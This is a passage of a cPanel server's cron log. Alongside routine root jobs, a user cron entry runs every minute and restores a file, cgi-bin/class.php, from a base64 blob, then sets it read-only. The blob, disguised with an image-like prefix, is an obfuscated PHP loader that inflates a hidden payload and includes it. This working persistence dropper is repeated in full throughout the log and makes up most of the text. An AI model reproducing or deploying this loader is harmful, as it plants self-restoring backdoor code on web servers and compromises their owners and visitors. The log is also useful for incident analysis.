"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:45:01 server CROND[28740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:45:01 server CROND[28741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:46:01 server CROND[28854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:47:01 server CROND[29009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:48:01 server CROND[29077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:49:01 server CROND[29154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:50:01 server CROND[29221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:50:01 server CROND[29223]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 16:50:01 server CROND[29224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:50:01 server CROND[29225]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 16:50:01 server CROND[29226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:51:01 server CROND[29360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:52:01 server CROND[29531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:53:01 server CROND[29617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:54:01 server CROND[29690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:55:01 server CROND[29749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:55:01 server CROND[29750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:55:01 server CROND[29751]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:56:01 server CROND[29869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:57:02 server CROND[29934]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 16:57:02 server CROND[29935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:58:01 server CROND[30102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqB